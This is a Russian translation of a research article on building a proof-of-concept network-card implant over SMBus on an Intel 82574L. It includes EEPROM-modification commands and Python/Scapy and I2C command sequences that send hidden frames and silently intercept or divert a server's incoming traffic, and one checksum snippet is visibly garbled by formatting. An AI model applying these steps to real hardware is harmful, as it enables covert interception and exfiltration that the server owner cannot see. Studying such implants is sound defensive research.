[Перевод] Делаем собственный имплант для электроники

0bftfawizhuqj5ah4gu_9z1tzak.png

История от Bloomberg о том, что на материнских платах якобы были установлены некие импланты [Китайцы использовали микрочип, чтобы контролировать американские компьютеры], не прошла незамеченной. После неё многие люди делились идеями по поводу возможности создания подобных имплантов (их предполагаемого размера, возможностей или способа их обнаружения).

Через несколько дней журнал Bloomberg выпустил статью с дополнительными доказательствами. Вот что конкретно подогрело наш интерес:

Легальный сервер отправлял сообщения одним способом, имплант — другим, но казалось, что весь трафик происходит от одного доверенного сервера.


Существуют способы взаимодействия с сетевой картой прямо с материнской платы. Несколько людей указали на то, что можно поиграться с BMC (Baseboard Management Controller — компонент, разрешающий доступ к серверу помимо основного канала), что позволит импланту контролировать BMC и получать доступ к сетевой карте. Но как это работает на практике? Давайте посмотрим, сможем ли мы это воспроизвести.

Начальная позиция


Посмотрим на наличие возможных интерфейсов между NIC (сетевой платой) и BMC. Один из основных протоколов для работы по выделенному каналу — это интеллектуальный интерфейс управления платформой IPMI.

IPMI


Википедия говорит, что IPMI — «интеллектуальный интерфейс управления платформой, предназначенный для автономного мониторинга и управления функциями, встроенными непосредственно в аппаратное и микропрограммное обеспечения серверных платформ. Ключевые характеристики IPMI — мониторинг, восстановление функций управления, журналирование и инвентаризация, которые доступны независимо от процессора, BIOS’a и операционной системы. Функции управления платформой могут быть доступны, даже если система находится в выключенном состоянии». Весьма похоже на то, что нам нужно.

На следующей блок-схеме показан возможный путь реализации проекта:

33c3e32f69cf311114455fe1fb98d5a1.png

IPMI на самом деле определяет два Sideband-канала для NIC: SMBus и NC-SI. NC-SI — это современная замена SMBus, поддерживающая увеличенную скорость передачи данных и другие новые возможности. Проблема в том, что ей требуется больше сигналов (порядка 10), и в её работу гораздо сложнее вмешаться в случае, когда мы работаем с имплантом. Так что пока остановимся на SMBus.

SMBus


SMBus (System Management Bus) — последовательный протокол обмена данными для устройств питания. Односторонняя простая двухпроводная шина, обеспечивающая несложные коммуникации. Чаще всего используется в компьютерах для связи материнской платы с источником питания и отправки инструкций вида вкл/выкл. Основан на шине I2C, обычно использующейся в микроконтроллерах. Интерфейсу нужно всего два сигнала (таймер и данные), и третий — для асинхронных уведомлений. Идеально подходящий для игр с имплантом протокол.

Первый контакт


Приходится проявлять смекалку, не имея доступа к материнской плате с BMC. Изучая технические характеристики серверных материнок, мы обнаружили, что некоторые из них используют чип Intel 82574L. Он, согласно документации, обеспечивает «SMBus advanced pass-through interface» — как раз то, что нужно. А что лучше всего, он бывает в формате карт PCI-E.

Доступ к SMBus


Мы сходили в магазин, и теперь у нас есть карточки Intel EXPI9301CTBLK с чипом 82574L. Что теперь?

В документации можно отследить SMB_DAT и SMB_ALRT_N. К счастью, все они оказались доступными в заголовках. Вроде бы всё достаточно легко.

e716a54673d59b3aec0c9e34765ef734.jpg
NIC PCB. Слева вверху — EEPROM, справа вверху — коннектор для SMBus [ALRT|CLK|DAT]. Обратите внимание, что R39 и R40 отпаяны, что запрещает доступ к SMBus для коннектора PCIe.

Мы подключили зонд I2C и просканировали SMBus, но ничего полезного не считали. Документация говорит, что SMBus включается только при установке определённого битового регистра. Это значение загружается с EEPROM. Пришло время копнуть глубже.

Включаем доступ к SMBus


Нам снова помогает документация. Доступ к SMBus определяется значением регистра, загружаемого с NIC EEPROM. К счастью, EEPROM можно прочесть при помощи flashrom. Сбросив содержимое EEPROM, мы можем проанализировать и изменить значения:

> ./flashrom -p buspirate_spi:dev=/dev/hydrabus --read /tmp/flash.dump
flashrom p1.0-87-g9891b75-dirty on Linux 4.18.12-arch1-1-ARCH (x86_64)
flashrom is free software, get the source code at https://flashrom.org

Using clock_gettime for delay loops (clk_id: 1, resolution: 1ns).
Found Winbond flash chip «W25×40» (512 kB, SPI) on buspirate_spi.
Reading flash… done.

Судя по NVM map (глава 6.1 документации), видно, что нам надо изменить два значения:

  • Init Control Word 2[MNGM] (Datasheet chapter 6.1.1.6)
  • Compatibility[ASF SMBus Connected] (Datasheet chapter 6.1.2.1.1)
  • Compatibility[SMBus Connected] (Datasheet chapter 6.1.2.1.1)


Нужно только учесть, что в EEPROM данные хранятся в формате little endian.

После этого нам надо ещё разобраться со значением Checksum. В главе 6.1.2.11 указано, что сумма всех слов в диапазоне [0×00–0×40] должна равняться 0xBABA. Немного Python поможет нам подсчитать правильную контрольную сумму:

import struct
data = open('/tmp/flash.mod', 'rb').read()
tot = 0
for i in range(0x3f):
tot = (tot + struct.unpack('

print («Checksum word must be:» + hex (0xbaba-tot))
#Checksum word must be: 0×9efb

И вот, наконец, все наши изменения для EEPROM:

< 00000000: 6805 ca89 b22e 2004 46f7 8010 ffff ffff h..... .F.......
> 00000000: 6805 ca89 b22e 3014 46f7 8010 ffff ffff h.....0.F.......
< 00000010: 69e4 0881 6b02 1fa0 8680 d310 ffff 5a9c i...k.........Z.
> 00000010: 69e4 0881 6b02 1fa0 8680 d310 ffff 5adc i...k.........Z.

< 00000070: ffff ffff ffff ffff ffff 3001 ffff 0bef ..........0.....
> 00000070: ffff ffff ffff ffff ffff 3001 ffff fb9e …0…

После внесения изменений и прошивки EEPROM мы подсоединили I2C зонд и:

i2c1> scan
Device found at address 0x49
i2c1>

Адрес I2C кодируется в семи битах, требуемый нам адрес получается, как 0×49 << 1 = 0x92.

Теперь у нас есть рабочая схема для нашего импланта. Мы можем отправлять команды в NIC:

13cbfcf14267b6055c8dc5760b59e2fd.jpg

Получение информации


Как вы могли догадаться, мы продолжили читать документацию и отправлять специально подготовленные команды на NIC для проверки того, что всё работает, как ожидалось.

В документации описано всё, что нужно знать о формате транзакций, в главе 8.4.4. Разница только в том, что нам не надо подсчитывать PEC (контрольная сумма для SMBus, которая подсчитывается для каждого пакета). К примеру, мы можем отправить команду CMD по адресу SLAVE, используя следующую последовательность:

[START] [@SLAVE] [CMD] ( [START] [@SLAVE] [READ_DATA] ) [STOP]

[START] и [STOP] — это условия START и STOP, определяемые протоколом I2C.

К примеру, команда на чтение MAC-адреса (описанная в главе 8.8.2.3) будет 0xD4. Отправляем команду в SMBus в режиме I2C:

[START] [0x92] [0xD4] [START] [0x92] [read 8 bytes] [STOP]

При переводе в команды Hydrabus это будет:

i2c1> [ 0x92 0xd4 [ 0x92 hd:2 hd:6 ]
I2C START
WRITE: 0x92 ACK 0xD4 ACK <== [NIC address] [command]
I2C START <== Switch state
WRITE: 0x92 ACK <== [NIC address]
07 D4 | .. <== Read [length] [header]
68 05 CA 89 B2 2E | h..... <== Read MAC address bytes
NACK
I2C STOP

И, да, мы получаем наш MAC-адрес!

Делаем имплант


Теперь, зная, как можно общаться с NIC, посмотрим, как можно использовать этот канал для кражи сетевого трафика и отправки данных по сети. В главе 8 документации описано всё, что нужно для этого.

Отправка пакетов


Описана в главах 8.6 и 8.8.1. Мы можем просто создать фрейм Ethernet при помощи команд. Вот пример скрипта для Hydrabus или Bus Pirate для отправки пакета:

import serial
import struct
from scapy.all import *

ser = serial.Serial ('/dev/ttyACM0',115200)

def send_frame (pkt):
# Define the frame size
pktlen = struct.pack («B», len (pkt))

# Define the data length to be sent
fulllen = struct.pack (»>h», len (pkt)+3)

# I2C write-then-read. Send frame + SMBus header, receive 0
ser.write ('\x08'+fulllen+'\x00\x00')
ser.write (»\x92\xc4»+pktlen+pkt)

# If packet has been sent successfully
if ser.read (1) == '\x01':
print «Send OK»
else:
print «Error sending»
ser.write ('\x00')
ser.write ('\x00')
ser.write ('\x0F\n')
quit ()

# Open Hydrabus in binary mode
for i in xrange (20):
ser.write (»\x00»)
if «BBIO1» not in ser.read (5):
print «Could not get into binary mode»
quit ()

# Switch to I2C mode
ser.write ('\x02')
if «I2C1» not in ser.read (4):
print «Cannot set I2C mode»
quit ()

#Create the frame to send
p = Ether (src=»11:22:33:44:55:66», dst=«ff: ff: ff: ff: ff: ff») / IP (src=»10.31.32.82», dst=»10.31.32.80»)/ICMP ()

#Send the frame
send_frame (str (p))

# Return to main binary mode
ser.write ('\x00')
#reset to console mode
ser.write ('\x0F\n')

После выполнения скрипта можно увидеть пакет, идущий от машины с имплантом, и, что самое интересное, сам сервер вообще не видит этого пакета:

ea19474f2a801afddb732624fa1f3d40.png
Tcpdump с машины атакующего слева, сервера — справа

Чтение пакетов


Фильтрация


Чтобы узнать, какие фреймы должны пойти в SMBus, NIC использует управляющие фильтры. Они сопоставляют трафик из сети, и либо перенаправляют его на PCIe, либо на SMBus, либо одновременно и туда и туда. С нашей точки зрения это даёт нам большую гибкость:

  • Можно отслеживать трафик, поставив фильтр, который будет его проверять и перенаправлять на PCIe и SMBus.
  • Можно заставить трафик исчезнуть, направив его только на SMBus.
  • Можно создать скрытый канал, который не будет виден серверу с имплантом.


Что самое интересное, фильтр можно настроить на отслеживание различных элементов фрейма:

  • UDP/TCP port
  • VLAN
  • IPv4 — IPv6
  • MAC address


(Полный список представлен в главе 8.4.2.1)

Доступно семь независимых фильтров MDEF[0:6], и каждый из них можно настроить на перенаправление соответствующего трафика на PCIe поверх SMBus при помощи регистра MANC2H (подробности в главе 8.4.3).

Реализация


Настроить всё правильно оказалось довольно сложно, мы пробовали множество различных комбинаций, чтобы заставить фильтр работать. К счастью, примечание к приложению от Intel дало нам больше деталей по поводу запуска фильтров нужным нам способом.

Используя наш I2P-зонд, мы можем настроить всё это четырьмя командами:

// Глобальный запрет фильтров
[ 0x92 0xca 0x01 0x40 ]
// Настроить MDEF[0] на получение фреймов, идущих к UDP/664 и UDP/623
[ 0x92 0xcc 0x06 0x61 0x00 0x00 0x00 0x0c 0x00 ]
// Настроить MANC2H на запрет перенаправления к ОС
[ 0x92 0xcc 0x05 0x0a 0x00 0x00 0x00 0x00 ]
// Включить фильтрацию (SMBus alerting, status reporting / Enable)
[ 0x92 0xca 0x01 0x45 ]

Как описано в главе 8.8.1.3, необходимо установить несколько битов для того, чтобы разрешить получение данных и для отправки фреймов обратно на наш имплант. Мы выбрали SMBus alert, поскольку другие модели позволяют сетевой карте осуществлять асинхронные запросы к SMBus (детали в главе 8.4.5).

Чтение фреймов


Поскольку мы использовали метод SMBus alert, нам нужно было ожидать отключения сигнала SMB_ALRT_N перед отправкой команды Receive TCO Packet. Если бы мы ждали слишком долго, пакет был бы отвергнут NIC.

Чтобы просто проиллюстрировать схему, мы будем отправлять фреймы периодически и отправлять команды на чтение — просто, чтобы подтвердить, что этот принцип работает. Схема выглядит так:

  • У сервера с имплантом установлены фильтры, отслеживающие трафик с UDP / 623 (глава 3.6.1.2).
  • Имплант симулируется при помощи Hydrabus.
  • Другой сервер отправляет пакеты, попадающие под фильтр, при помощи скрипта Scapy:


from scapy.all import *
p=Ether()/IP(dst="10.31.32.81")/UDP(dport=0x26f)/"MALICIOUS PAYLOAD"
while(1):sendp(p)

Получается нечто интересное:

e03407a6872fbeda15ad73fa32c87257.png

Слева SMBus читает фрейм, данные фрейма показаны внизу. Справа tcpdump, работающий на сервере с имплантом, не показывает входящих фреймов.

Ретрансляция фреймов


Меняя регистр MANC2H, возможно сделать так, чтобы трафик, который отправляется на SMBus и PCIe, корректно отображался на сервере. К примеру, давайте создадим перехватывающий фильтр, реагирующий на трафик UDP/161 (SNMP) и отправляющий его на SMBus и PCIe:

// Глобальный запрет фильтров
[ 0x92 0xca 0x01 0x40 ]
// Создать флекс-фильтр 0 на порту 161 (0xa1)
[ 0x92 0xcc 0x04 0x63 0x00 0x00 0xa1 ]
// Настроить MDEF[0] на получение трафика, совпадающего с флекс-фильтром 0
[ 0x92 0xcc 0x06 0x61 0x00 0x00 0x00 0x10 0x00 ]
// Настроить MANC2H на разрешение перенаправления трафика MDEF[0] на PCIe
[ 0x92 0xcc 0x05 0x0a 0x00 0x00 0x00 0x00 ]
// Включить фильтрацию (SMBus alerting, status reporting / Enable)
[ 0x92 0xca 0x01 0x45 ]

Включив фильтры, мы можем отправить SNMP-запрос на сервер с имплантом и увидеть пакет, который перехватил имплант. При этом сервер отвечает на запрос –, а значит, пакет был правильно перенаправлен на SMBus и PCIe:

e32d3b281a556bd1bcdebe86498a2dc1.png
Вверху — перехваченный SNMP-запрос с импланта. Внизу — SNMP-запрос дошёл до сервера.

Заключения


Мы описали возможный метод внедрения небольшого и недорогого микроконтроллера в качестве импланта на уровне NIC. Такому импланту нужны, по меньшей мере, четыре контакта (Vcc, GND, CLK, DAT), и он может управлять картой сервера. Среди его возможностей:

  • Прослушивание входящего сетевого трафика на сервер.
  • Получение команд из сети без ведома сервера.
  • Передача данных по сети без ведома сервера.


В нашем примере для простоты в качестве интерфейса для I2C/SMBus использовался Hydrabus, но это можно будет сделать так же легко и на небольшом микроконтроллере, например, ATtiny85 (он размером примерно с EEPROM для NIC).

Однако в реальной жизни доступ у такого импланта был бы только к SMBus. В зависимости от схемы материнской платы это устройство может быть единственным из доступных, и тогда взаимодействие с ОС сервера будет невозможно. В случае, когда требуется полный контроль над ОС, лучше всего будет изменить код BMC, поскольку у него и так уже есть доступ ко всем интересным шинам, и он не оставляет видимых следов на материнке.

Ещё один недостаток такого импланта состоит в том, что он может передавать данные на скорости порядка 100 Кб/с, чего недостаточно для полного изучения трафика. Кроме того, имплант способен перехватывать только трафик, приходящий из сети. В результате данное решение кажется неэффективным по сравнению с теми усилиями, которые требуются для его внедрения в оборудование цели.

© Habrahabr.ru